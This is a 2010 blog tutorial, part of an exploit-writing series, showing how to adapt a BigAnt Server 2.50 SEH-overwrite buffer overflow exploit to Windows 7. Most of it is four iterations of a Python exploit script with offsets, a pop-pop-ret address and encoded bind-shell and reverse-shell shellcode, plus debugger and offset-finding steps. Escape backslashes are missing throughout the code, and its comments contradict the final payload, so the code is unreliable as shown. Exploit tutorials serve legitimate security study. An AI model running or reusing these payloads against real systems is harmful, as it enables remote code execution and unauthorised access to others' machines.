jump to navigation

Tutorial write an exploit part 3 SEH November 6, 2010

Posted by michelemanzotti in manzotti.eu, Security, Tutorial.
Tags: , , , ,
add a comment

In the previous tutorial we have seen some technique of buffer overflow, in most cases with the aim to overwrite the EIP with a jump esp opcode. Now let’s see how to exploit a buffer overflow through the technique of SEH.
SEH, Structured Exception Handler, it’s a component for catching and handling exceptions. Basically exception handlers are used by programmers when the program reaches a point of no return, such as a BOF. At this point the exception handler loads in the memory blocks of code and when it finds one that resolves the problem, then the program returns to run correctly.
The exploit takes advantage of this exception handler that loads the exceptions sequentially and at the beginning of each block exception there is the address that points to the next exception NEXT SEH.
So if the current block exception does not solve the problem, the program reads the NEXT SEH, that is the address that points to the next exception, and executes the block in that exception, until the end of all exceptions. If it finds one that can solve the problem, obviously the program ends.

Not all the programs with SEH are vulnerable, but only those where you can overwrite the SEH NEXT, the address that points to the next except, with arbitrary memory location. To check whether the program uses a vulnerable SEH OllyDbg is sufficient to load the plugin OllySSEH.

If we can see dlls where the SEH is vulnerable then we could overwrite the SEH address with a pop pop ret opcode so that program flow is directed to the NEXT SEH, which will contain a jump to the shellcode .

First of all we look for an application vulnerable to SEH, e.g. BigAnt Server, as shown by the following exploits tested on a Windows XP SP3 and then we try to run on Windows 7:

#!/usr/bin/python
# BigAnt Server version 2.50 SEH Overwrite - 0day
# Written and discovered by Blake
# Tested on Windows XP SP3
#
# $ ./bigant.py 192.168.1.131 6660
#
# [*] BigAnt Server v2.50 SEH Overwrite 0day
# [*] Written and discovered by Blake
# [*] Tested on Windows XP SP3
#
# [+] Connecting to 192.168.1.131 on port 6660
# [+] Sending payload
# [+] Connect to bind shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:WINDOWSsystem32>

import socket, sys

if len(sys.argv)!= 3:
   print "n[*] Usage: %s n" % sys.argv[0]
   sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])     # port 6660 by default

# windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode = (
"x89xe2xdbxccxd9x72xf4x5fx57x59x49x49x49x49x49"
"x49x49x49x49x49x43x43x43x43x43x43x37x51x5ax6a"
"x41x58x50x30x41x30x41x6bx41x41x51x32x41x42x32"
"x42x42x30x42x42x41x42x58x50x38x41x42x75x4ax49"
"x4bx4cx42x4ax4ax4bx50x4dx4bx58x4bx49x4bx4fx4b"
"x4fx4bx4fx43x50x4cx4bx42x4cx51x34x46x44x4cx4b"
"x50x45x47x4cx4cx4bx43x4cx43x35x44x38x43x31x4a"
"x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x45x51"
"x4ax4bx50x49x4cx4bx47x44x4cx4bx45x51x4ax4ex50"
"x31x49x50x4ax39x4ex4cx4bx34x49x50x44x34x43x37"
"x49x51x49x5ax44x4dx45x51x48x42x4ax4bx4cx34x47"
"x4bx50x54x46x44x46x48x44x35x4bx55x4cx4bx51x4f"
"x46x44x43x31x4ax4bx43x56x4cx4bx44x4cx50x4bx4c"
"x4bx51x4fx45x4cx43x31x4ax4bx44x43x46x4cx4cx4b"
"x4dx59x42x4cx47x54x45x4cx43x51x49x53x50x31x49"
"x4bx43x54x4cx4bx47x33x46x50x4cx4bx47x30x44x4c"
"x4cx4bx42x50x45x4cx4ex4dx4cx4bx47x30x43x38x51"
"x4ex45x38x4cx4ex50x4ex44x4ex4ax4cx46x30x4bx4f"
"x4ex36x45x36x46x33x43x56x45x38x47x43x46x52x42"
"x48x43x47x42x53x46x52x51x4fx50x54x4bx4fx48x50"
"x42x48x48x4bx4ax4dx4bx4cx47x4bx46x30x4bx4fx48"
"x56x51x4fx4dx59x4bx55x45x36x4bx31x4ax4dx43x38"
"x45x52x46x35x43x5ax45x52x4bx4fx48x50x45x38x49"
"x49x44x49x4ax55x4ex4dx51x47x4bx4fx48x56x51x43"
"x51x43x51x43x51x43x46x33x51x53x50x53x47x33x51"
"x43x4bx4fx4ex30x42x46x43x58x42x31x51x4cx45x36"
"x46x33x4bx39x4dx31x4cx55x45x38x4ex44x44x5ax42"
"x50x49x57x50x57x4bx4fx49x46x42x4ax44x50x50x51"
"x50x55x4bx4fx48x50x45x38x49x34x4ex4dx46x4ex4a"
"x49x46x37x4bx4fx4ex36x50x53x46x35x4bx4fx48x50"
"x43x58x4bx55x47x39x4cx46x50x49x46x37x4bx4fx48"
"x56x46x30x50x54x50x54x46x35x4bx4fx4ex30x4cx53"
"x42x48x4bx57x44x39x48x46x44x39x50x57x4bx4fx48"
"x56x51x45x4bx4fx4ex30x42x46x43x5ax42x44x42x46"
"x43x58x43x53x42x4dx4cx49x4bx55x43x5ax46x30x51"
"x49x51x39x48x4cx4dx59x4dx37x42x4ax51x54x4bx39"
"x4ax42x50x31x49x50x4ax53x4ex4ax4bx4ex50x42x46"
"x4dx4bx4ex50x42x46x4cx4ax33x4cx4dx43x4ax47x48"
"x4ex4bx4ex4bx4ex4bx45x38x42x52x4bx4ex4ex53x42"
"x36x4bx4fx42x55x47x34x4bx4fx49x46x51x4bx50x57"
"x51x42x50x51x46x31x50x51x43x5ax43x31x50x51x50"
"x51x51x45x50x51x4bx4fx48x50x42x48x4ex4dx48x59"
"x45x55x48x4ex50x53x4bx4fx49x46x42x4ax4bx4fx4b"
"x4fx47x47x4bx4fx4ex30x4cx4bx51x47x4bx4cx4bx33"
"x48x44x45x34x4bx4fx49x46x50x52x4bx4fx4ex30x45"
"x38x4ax50x4dx5ax43x34x51x4fx51x43x4bx4fx4ex36"
"x4bx4fx4ex30x41x41")

payload = "x41" * 985        # seh overwritten at 989
next_seh = "xebx06x90x90"   # short jump 6 bytes
seh = "x6ax19x9ax0f"    # p/p/r from vbajet32.dll
nops = "x90" * 10        # nop sled
sc = shellcode            # 710 bytes available for shellcode

print "n[*] BigAnt Server v2.50 SEH Overwrite 0day"
print "[*] Written and discovered by Blake"
print "[*] Tested on Windows XP SP3n"

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   s.connect((host,port))
except:
   print "[x] Error establishing connectionn"
   sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + next_seh + seh + nops + sc + "rnrn")
s.close()
print "[+] Connect to bind shell on port 4444n"

# milw0rm.com [2009-09-15]

Our goal is to make it work for Windows 7. With simple fixes we can adapt it to our needs and at the same time understand how to exploit a BOF with the SEH technique. Just like in the first tutorial, we calculate the offset:

root@bt:/var/www/bigant# /pentest/exploits/framework3/tools/pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
[ snip ]

And we put it in the exploit:

#!/usr/bin/python
# BigAnt Server version 2.50 SEH Overwrite - 0day
# Written and discovered by Blake
# Tested on Windows XP SP3
#
# $ ./bigant.py 192.168.1.131 6660
#
# [*] BigAnt Server v2.50 SEH Overwrite 0day
# [*] Written and discovered by Blake
# [*] Tested on Windows XP SP3
#
# [+] Connecting to 192.168.1.131 on port 6660
# [+] Sending payload
# [+] Connect to bind shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:WINDOWSsystem32>

import socket, sys

if len(sys.argv)!= 3:
   print "n[*] Usage: %s n" % sys.argv[0]
   sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])     # port 6660 by default

# windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode = ("")

payload = "Aa0Aa1Aa2A..."
next_seh = "xebx06x90x90"   # short jump 6 bytes
seh = "x6ax19x9ax0f"    # p/p/r from vbajet32.dll
nops = "x90" * 10        # nop sled
sc = shellcode            # 710 bytes available for shellcode

print "n[*] BigAnt Server v2.50 SEH Overwrite 0day"
print "[*] Written and discovered by Blake"
print "[*] Tested on Windows XP SP3n"

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   s.connect((host,port))
except:
   print "[x] Error establishing connectionn"
   sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + "rnrn")
s.close()
print "[+] Connect to bind shell on port 4444n"

# milw0rm.com [2009-09-15]

We attach BigAnt to OllyDbg and launch the exploit.
Obviously the application crashes, but in “view” -> “seh chain” we can see the value about SEH (30684239 in my case). Now we can calculate the exact offset for Windows 7:

/pentest/exploits/framework3/tools/pattern_offset.rb 30684239 5000
989

This means that the SEH will be overwritten after exactly 989 bytes and the NEXT SEH after 985 (989-4).

So the exploit will be like this:
[985 bytes of payload] [NEXT SEH] [SEH] [nops] [shellcode].

NEXT SEH will be overwritten with the address “xebx06x90x90”, an unconditional jump of 6 bytes to point to the nops at the beginning of the shellcode, and the SEH will be overwritten with an address that points to a pop pop ret opcode. This is because when an exception occurs, the dispatcher creates its own frame on the stack. In this frame the NEXT SEH is at ESP +8. So to overwrite it will be necessary a pop pop ret opcode which pushes 8 bytes out from the stack and gets the current value from the stack (top ESP) and puts it in the EIP.
This opcode can be found and exploited in the VBAJET32.dll with “0F9A19CD” address. So the new exploit will be as the following:

#!/usr/bin/python
# BigAnt Server version 2.50 SEH Overwrite - 0day
# Written and discovered by Blake
# Tested on Windows XP SP3
#
# $ ./bigant.py 192.168.1.131 6660
#
# [*] BigAnt Server v2.50 SEH Overwrite 0day
# [*] Written and discovered by Blake
# [*] Tested on Windows XP SP3
#
# [+] Connecting to 192.168.1.131 on port 6660
# [+] Sending payload
# [+] Connect to bind shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:WINDOWSsystem32>

import socket, sys

if len(sys.argv)!= 3:
   print "n[*] Usage: %s n" % sys.argv[0]
   sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])     # port 6660 by default

# windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode=("x42" * 2000)

payload = "x41" * 985        # seh overwritten at 989
next_seh = "xebx06x90x90"   # short jump 6 bytes
seh = "xcdx19x9ax0f"    # 0F9A19CD p/p/r from vbajet32.dll
nops = "x90" * 10        # nop sled
sc = shellcode            # 710 bytes available for shellcode

print "n[*] BigAnt Server v2.50 SEH Overwrite 0day"
print "[*] Written and discovered by Blake"
print "[*] Tested on Windows XP SP3n"

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   s.connect((host,port))
except:
   print "[x] Error establishing connectionn"
   sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + next_seh + seh + nops + sc + "rnrn")
s.close()
print "[+] Connect to bind shell on port 4444n"

# milw0rm.com [2009-09-15]

Running OllyDbg and setting a breakpoint in the address of pop pop ret “0F9A19CD” we realize that the application reaches this address (if not it means that we have done something wrong), and after the jump reaches the shellcode.
At this point you can replace the shellcode with something more interesting such as a reverse shell tcp:

#!/usr/bin/python
# BigAnt Server version 2.50 SEH Overwrite - 0day
# Written and discovered by Blaked
# Tested on Windows XP SP3
#
# $ ./bigant.py 192.168.1.131 6660
#
# [*] BigAnt Server v2.50 SEH Overwrite 0day
# [*] Written and discovered by Blake
# [*] Tested on Windows XP SP3
#
# [+] Connecting to 192.168.1.131 on port 6660
# [+] Sending payload
# [+] Connect to bind shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:WINDOWSsystem32>

import socket, sys

if len(sys.argv)!= 3:
   print "n[*] Usage: %s n" % sys.argv[0]
   sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])     # port 6660 by default

# windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode=("xdaxc9xd9x74x24xf4x5dx55x59x49x49x49x49x49x49"
"x49x49x49x43x43x43x43x43x43x43x37x51x5ax6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x49"
"x6cx49x78x4fx79x47x70x43x30x45x50x45x30x4cx49"
"x4dx35x46x51x48x52x45x34x4cx4bx42x72x44x70x4e"
"x6bx50x52x46x6cx4ex6bx50x52x46x74x4ex6bx51x62"
"x46x48x44x4fx4fx47x42x6ax45x76x45x61x49x6fx44"
"x71x4bx70x4cx6cx45x6cx45x31x43x4cx46x62x44x6c"
"x51x30x4bx71x48x4fx44x4dx43x31x4fx37x4ax42x48"
"x70x51x42x43x67x4ex6bx50x52x44x50x4cx4bx50x42"
"x47x4cx46x61x48x50x4ex6bx43x70x42x58x4bx35x49"
"x50x44x34x43x7ax46x61x4ex30x42x70x4cx4bx51x58"
"x42x38x4cx4bx43x68x51x30x43x31x4bx63x48x63x45"
"x6cx50x49x4ex6bx46x54x4cx4bx45x51x49x46x44x71"
"x49x6fx46x51x4fx30x4cx6cx4bx71x48x4fx46x6dx43"
"x31x48x47x47x48x49x70x42x55x49x64x44x43x43x4d"
"x4cx38x45x6bx51x6dx51x34x51x65x49x72x43x68x4c"
"x4bx51x48x44x64x43x31x4bx63x42x46x4cx4bx44x4c"
"x50x4bx4ex6bx50x58x45x4cx45x51x4ax73x4cx4bx45"
"x54x4ex6bx47x71x4ax70x4dx59x43x74x47x54x46x44"
"x51x4bx43x6bx43x51x46x39x50x5ax50x51x49x6fx4b"
"x50x42x78x43x6fx43x6ax4cx4bx42x32x48x6bx4ex66"
"x51x4dx50x68x44x73x46x52x47x70x45x50x45x38x50"
"x77x51x63x46x52x43x6fx46x34x42x48x42x6cx51x67"
"x51x36x46x67x49x6fx48x55x48x38x4ax30x45x51x45"
"x50x47x70x51x39x4bx74x42x74x46x30x42x48x47x59"
"x4fx70x42x4bx43x30x4bx4fx4ax75x50x50x46x30x50"
"x50x50x50x47x30x50x50x47x30x42x70x42x48x4bx5a"
"x46x6fx4bx6fx4bx50x49x6fx4ax75x4dx47x43x5ax43"
"x35x45x38x4fx30x4ex48x43x31x45x56x42x48x45x52"
"x43x30x47x61x43x6cx4fx79x4bx56x42x4ax42x30x50"
"x56x46x37x50x68x4fx69x4ex45x43x44x43x51x49x6f"
"x4ex35x4fx75x4fx30x50x74x46x6cx4bx4fx50x4ex44"
"x48x50x75x48x6cx51x78x48x70x4fx45x4dx72x43x66"
"x49x6fx4ex35x51x7ax43x30x51x7ax44x44x50x56x51"
"x47x42x48x43x32x4ex39x49x58x43x6fx4bx4fx48x55"
"x4ex6bx44x76x50x6ax43x70x51x78x45x50x46x70x43"
"x30x43x30x50x56x43x5ax45x50x43x58x46x38x4cx64"
"x51x43x4ax45x4bx4fx4ax75x4fx63x50x53x51x7ax43"
"x30x51x46x43x63x46x37x51x78x46x62x4ax79x4ax68"
"x43x6fx49x6fx48x55x46x61x4bx73x51x39x48x46x4b"
"x35x4ax56x44x35x48x6cx4fx33x46x6ax41x41");

payload = "x41" * 985        # seh overwritten at 989
next_seh = "xebx06x90x90"   # short jump 6 bytes
seh = "xcdx19x9ax0f"    # 0F9A19CD p/p/r from vbajet32.dll
nops = "x90" * 10        # nop sled
sc = shellcode            # 710 bytes available for shellcode
padding = "x90" * 1300

print "n[*] BigAnt Server v2.50 SEH Overwrite 0day"
print "[*] Written and discovered by Blake"
print "[*] Tested on Windows XP SP3n"

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   s.connect((host,port))
except:
   print "[x] Error establishing connectionn"
   sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + next_seh + seh + nops + sc + padding + "rnrn")
s.close()
print "[+] Connect to bind shell on port 4444n"

# milw0rm.com [2009-09-15]

Pwned!

Here there is a video demonstration:

See you
Michele `m7x` Manzotti

References: Thanks to Corelan.